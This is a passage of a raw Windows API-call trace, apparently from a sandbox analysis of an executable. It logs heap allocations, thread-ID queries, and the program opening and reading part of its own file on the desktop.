GetCurrentThreadId () returned 0x9b0 [0074.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aea0 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a192e0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.891] GetCurrentThreadId () returned 0x9b0 [0074.892] GetCurrentThreadId () returned 0x9b0 [0074.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.892] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.892] GetCurrentThreadId () returned 0x9b0 [0074.892] GetCurrentThreadId () returned 0x9b0 [0074.892] GetCurrentThreadId () returned 0x9b0 [0074.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.892] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f08, Size=0x20) returned 0x2a1f858 [0074.892] GetCurrentThreadId () returned 0x9b0 [0074.892] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f858, Size=0x40) returned 0x2a19250 [0074.892] GetCurrentThreadId () returned 0x9b0 [0074.892] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a19968 [0074.892] GetCurrentThreadId () returned 0x9b0 [0074.892] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0ca0 [0074.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7ea8 [0074.892] GetCurrentThreadId () returned 0x9b0 [0074.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.892] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7ea8 | out: hHeap=0x2ad0000) returned 1 [0074.892] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.893] GetCurrentThreadId () returned 0x9b0 [0074.893] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ca0, Size=0xb8) returned 0x2ac9590 [0074.893] GetCurrentThreadId () returned 0x9b0 [0074.893] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9590, Size=0xe8) returned 0x2c37118 [0074.893] GetCurrentThreadId () returned 0x9b0 [0074.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0074.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8148 [0074.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aea0 | out: hHeap=0x2ad0000) returned 1 [0074.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fafb0 | out: hHeap=0x2ad0000) returned 1 [0074.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0074.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a192e0 | out: hHeap=0x2ad0000) returned 1 [0074.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c37118 | out: hHeap=0x2ad0000) returned 1 [0074.894] GetCurrentThreadId () returned 0x9b0 [0074.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f8e00 [0074.894] GetCurrentThreadId () returned 0x9b0 [0074.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.894] GetCurrentThreadId () returned 0x9b0 [0074.894] GetCurrentThreadId () returned 0x9b0 [0074.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.894] GetCurrentThreadId () returned 0x9b0 [0074.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b000 [0074.894] GetCurrentThreadId () returned 0x9b0 [0074.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.894] GetCurrentThreadId () returned 0x9b0 [0074.894] GetCurrentThreadId () returned 0x9b0 [0074.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.894] GetCurrentThreadId () returned 0x9b0 [0074.894] GetCurrentThreadId () returned 0x9b0 [0074.895] GetCurrentThreadId () returned 0x9b0 [0074.895] GetCurrentThreadId () returned 0x9b0 [0074.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afc0 [0074.895] GetCurrentThreadId () returned 0x9b0 [0074.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.895] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80a0, Size=0x10) returned 0x2ca7f50 [0074.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.895] GetCurrentThreadId () returned 0x9b0 [0074.895] GetCurrentThreadId () returned 0x9b0 [0074.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aea0 [0074.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.895] GetCurrentThreadId () returned 0x9b0 [0074.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae90 [0074.895] GetCurrentThreadId () returned 0x9b0 [0074.895] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f38, Size=0x20) returned 0x2a1fbf0 [0074.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.896] GetCurrentThreadId () returned 0x9b0 [0074.896] GetCurrentThreadId () returned 0x9b0 [0074.896] GetCurrentThreadId () returned 0x9b0 [0074.896] GetCurrentThreadId () returned 0x9b0 [0074.896] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.896] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8130, Size=0x20) returned 0x2a1f858 [0074.896] GetCurrentThreadId () returned 0x9b0 [0074.896] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f858, Size=0x40) returned 0x2a19130 [0074.896] GetCurrentThreadId () returned 0x9b0 [0074.896] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8768 [0074.896] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.896] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8768 | out: hHeap=0x2ad0000) returned 1 [0074.896] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19130, Size=0x64) returned 0x2a19b98 [0074.896] GetCurrentThreadId () returned 0x9b0 [0074.896] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac01f0 [0074.896] GetCurrentThreadId () returned 0x9b0 [0074.896] GetCurrentThreadId () returned 0x9b0 [0074.897] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac01f0, Size=0xb8) returned 0x30fd040 [0074.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7b60 [0074.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1ffe8 [0074.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.897] GetCurrentThreadId () returned 0x9b0 [0074.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7b60 | out: hHeap=0x2ad0000) returned 1 [0074.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0074.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.897] GetCurrentThreadId () returned 0x9b0 [0074.897] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30fd040, Size=0xe8) returned 0x2ac8f90 [0074.897] GetCurrentThreadId () returned 0x9b0 [0074.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0074.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aea0 | out: hHeap=0x2ad0000) returned 1 [0074.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f68 | out: hHeap=0x2ad0000) returned 1 [0074.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afc0 | out: hHeap=0x2ad0000) returned 1 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f8e00 | out: hHeap=0x2ad0000) returned 1 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac8f90 | out: hHeap=0x2ad0000) returned 1 [0074.898] GetCurrentThreadId () returned 0x9b0 [0074.898] GetCurrentThreadId () returned 0x9b0 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2d660 | out: hHeap=0x2ad0000) returned 1 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0074.898] GetCurrentThreadId () returned 0x9b0 [0074.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a9a020 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbd850 | out: hHeap=0x2ad0000) returned 1 [0074.898] GetCurrentThreadId () returned 0x9b0 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0074.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.898] GetCurrentThreadId () returned 0x9b0 [0074.898] GetCurrentThreadId () returned 0x9b0 [0074.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0074.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0074.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.899] GetCurrentThreadId () returned 0x9b0 [0074.899] GetCurrentThreadId () returned 0x9b0 [0074.899] GetCurrentThreadId () returned 0x9b0 [0074.899] GetCurrentThreadId () returned 0x9b0 [0074.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.899] GetCurrentThreadId () returned 0x9b0 [0074.899] GetCurrentThreadId () returned 0x9b0 [0074.899] GetLastError () returned 0x0 [0074.899] GetLastError () returned 0x0 [0074.899] GetLastError () returned 0x0 [0074.899] GetLastError () returned 0x0 [0074.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af10 [0074.899] GetLastError () returned 0x0 [0074.899] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8bc8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.899] GetFileType (hFile=0x1ec) returned 0x1 [0074.899] GetLastError () returned 0x0 [0074.899] GetCurrentThreadId () returned 0x9b0 [0074.899] GetLastError () returned 0x0 [0074.900] GetFileType (hFile=0x1ec) returned 0x1 [0074.900] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b8c44 | out: lpFileInformation=0x9b8c44) returned 1 [0074.900] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c58, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0074.900] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0074.900] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c50, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0074.900] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0074.900] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c48, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0074.900] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0074.900] GetLastError () returned 0x0 [0074.900] GetCurrentThreadId () returned 0x9b0 [0074.900] GetLastError () returned 0x0 [0074.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200a8 | out: hHeap=0x2ad0000) returned 1 [0074.900] GetLastError () returned 0x0 [0074.900] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7334803, lpDistanceToMoveHigh=0x9b8cf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b8cf8*=0) returned 0x6feb93 [0074.900] GetLastError () returned 0x0 [0074.900] GetCurrentThreadId () returned 0x9b0 [0074.900] GetLastError () returned 0x0 [0074.900] GetCurrentThreadId () returned 0x9b0 [0074.900] GetCurrentThreadId () returned 0x9b0 [0074.900] GetLastError () returned 0x0 [0074.901] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7363672, lpDistanceToMoveHigh=0x9b9090*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9090*=0) returned 0x705c58 [0074.901] GetLastError () returned 0x0 [0074.901] GetCurrentThreadId () returned 0x9b0 [0074.901] GetLastError () returned 0x0 [0074.901] GetCurrentThreadId () returned 0x9b0 [0074.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xeb9) returned 0x2c36d30 [0074.901] GetLastError () returned 0x0 [0074.901] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc44d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9044, lpOverlapped=0x0 | out: lpBuffer=0x2cc44d8*, lpNumberOfBytesRead=0x9b9044*=0x1000, lpOverlapped=0x0) returned 1 [0074.903] GetLastError () returned 0x0 [0074.903] GetCurrentThreadId () returned 0x9b0 [0074.903] GetLastError () returned 0x0 [0074.903] GetCurrentThreadId () returned 0x9b0 [0074.903] GetLastError () returned 0x0 [0074.903] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b7d1c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b7d1c*=0) returned 0x706c58 [0074.903] GetLastError () returned 0x0 [0074.903] GetCurrentThreadId () returned 0x9b0 [0074.903] GetLastError () returned 0x0 [0074.903] GetLastError () returned 0x0 [0074.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc44d8 | out: hHeap=0x2ad0000) returned 1 [0074.904] CloseHandle (hObject=0x1ec) returned 1 [0074.904] GetLastError () returned 0x0 [0074.904] GetCurrentThreadId () returned 0x9b0 [0074.904] GetLastError () returned 0x0 [0074.904] GetLastError () returned 0x0 [0074.904] GetCurrentThreadId () returned 0x9b0 [0074.904] GetLastError () returned 0x0 [0074.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.904] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3026050, Size=0x218e) returned 0x3026050 [0074.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c36d30 | out: hHeap=0x2ad0000) returned 1 [0074.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x45b) returned 0x2aa2d98 [0074.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.904] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8100, Size=0x20) returned 0x2a1fbf0 [0074.904] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a18f38 [0074.904] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18f38, Size=0x64) returned 0x2a19b28 [0074.904] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b28, Size=0x8c) returned 0x2ac0b70 [0074.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x49a) returned 0x2aa3200 [0074.904] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0b70, Size=0xb8) returned 0x30fd100 [0074.904] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30fd100, Size=0xe8) returned 0x2ac9800 [0074.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25b) returned 0x2aa36a8 [0074.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2ba) returned 0x2c36d30 [0074.905] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9800, Size=0x120) returned 0x2cb6188 [0074.905] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6188, Size=0x160) returned 0x2cb7478 [0074.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb7478 | out: hHeap=0x2ad0000) returned 1 [0074.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026050 | out: hHeap=0x2ad0000) returned 1 [0074.905] GetCurrentThreadId () returned 0x9b0 [0074.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af70 [0074.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af70 | out: hHeap=0x2ad0000) returned 1 [0074.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fa060 [0074.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38) returned 0x2a8a628 [0074.905] GetCurrentThreadId () returned 0x9b0 [0074.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0074.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0074.905] GetCurrentThreadId () returned 0x9b0 [0074.905] GetCurrentThreadId () returned 0x9b0 [0074.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0074.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7818 [0074.905] GetCurrentThreadId () returned 0x9b0 [0074.905] GetCurrentThreadId () returned 0x9b0 [0074.906] GetCurrentThreadId () returned 0x9b0 [0074.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.906] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0074.906] GetCurrentThreadId () returned 0x9b0 [0074.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.906] GetCurrentThreadId () returned 0x9b0 [0074.906] GetCurrentThreadId () returned 0x9b0 [0074.906] GetCurrentThreadId () returned 0x9b0 [0074.906] GetCurrentThreadId () returned 0x9b0 [0074.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7818 | out: hHeap=0x2ad0000) returned 1 [0074.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0074.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.906] GetCurrentThreadId () returned 0x9b0 [0074.906] GetCurrentThreadId () returned 0x9b0 [0074.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.906] GetCurrentThreadId () returned 0x9b0 [0074.906] GetCurrentThreadId () returned 0x9b0 [0074.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fba68 [0074.906] GetCurrentThreadId () returned 0x9b0 [0074.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af30 [0074.907] GetCurrentThreadId () returned 0x9b0 [0074.907] GetCurrentThreadId () returned 0x9b0 [0074.907] GetCurrentThreadId () returned 0x9b0 [0074.907] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80a0, Size=0x20) returned 0x2a1fbf0 [0074.907] GetCurrentThreadId () returned 0x9b0 [0074.907] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a19250 [0074.907] GetCurrentThreadId () returned 0x9b0 [0074.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, 